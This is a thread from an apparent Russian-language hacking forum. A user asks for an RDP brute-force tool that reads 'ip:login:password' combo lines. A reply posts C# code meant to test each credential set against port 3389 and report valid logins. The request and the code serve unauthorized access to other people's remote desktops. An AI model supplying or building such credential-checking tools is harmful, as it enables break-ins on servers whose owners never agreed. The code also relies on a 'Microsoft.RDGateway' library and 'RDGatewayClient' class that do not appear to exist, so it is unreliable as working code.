• XSS.stack #1 – первый литературный журнал от юзеров форума

брутфорс Rdp Brute

learning_dzen

HDD-drive
Пользователь
Регистрация
27.08.2024
Сообщения
39
Реакции
7
Гарант сделки
4
Приветствую!
Можете сказать чем можно пробрутить rdp кроме как nlbrute
Важно чтобы он сьедал строки такого формата:
1.1.1.1:login:password
А не в отдельных текстовиках по типу ip.txt login.txt pas.txt
Заранее спасибо.
 
Приветствую!
Можете сказать чем можно пробрутить rdp кроме как nlbrute
Важно чтобы он сьедал строки такого формата:
1.1.1.1:login:password
А не в отдельных текстовиках по типу ip.txt login.txt pas.txt
Заранее спасибо.
Вот пример кода для работы на c# Net Core
C#:
using System;
using System.Net;
using System.Threading.Tasks;
using Microsoft.RDGateway;

namespace RdpClient
{
    class Program
    {
        static async Task Main(string[] args)
        {
            if (args.Length != 1)
            {
                Console.WriteLine("Usage: RdpClient <ip:login:password>");
                return;
            }

            string input = args[0];
            string[] parts = input.Split(':');

            if (parts.Length != 3)
            {
                Console.WriteLine("Invalid format. Expected: ip:login:password");
                return;
            }

            string ip = parts[0];
            string login = parts[1];
            string password = parts[2];

            bool isValid = await ValidateRdpConnection(ip, login, password);

            if (isValid)
            {
                Console.WriteLine("Connection successful. Credentials are valid.");
            }
            else
            {
                Console.WriteLine("Connection failed. Credentials are invalid.");
            }
        }

        static async Task<bool> ValidateRdpConnection(string ip, string login, string password)
        {
            try
            {
                var gateway = new RDGatewayClient();
                var credentials = new NetworkCredential(login, password);
                var endpoint = new IPEndPoint(IPAddress.Parse(ip), 3389); //An endpoint is created with an IP address and port 3389 (the standard port for RDP).

                // Attempt to connect to the RDP server
                await gateway.ConnectAsync(endpoint, credentials);

                // If no exception is thrown, the connection was successful
                return true;
            }
            catch (Exception ex)
            {
                Console.WriteLine($"Error: {ex.Message}");
                return false;
            }
        }
    }
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх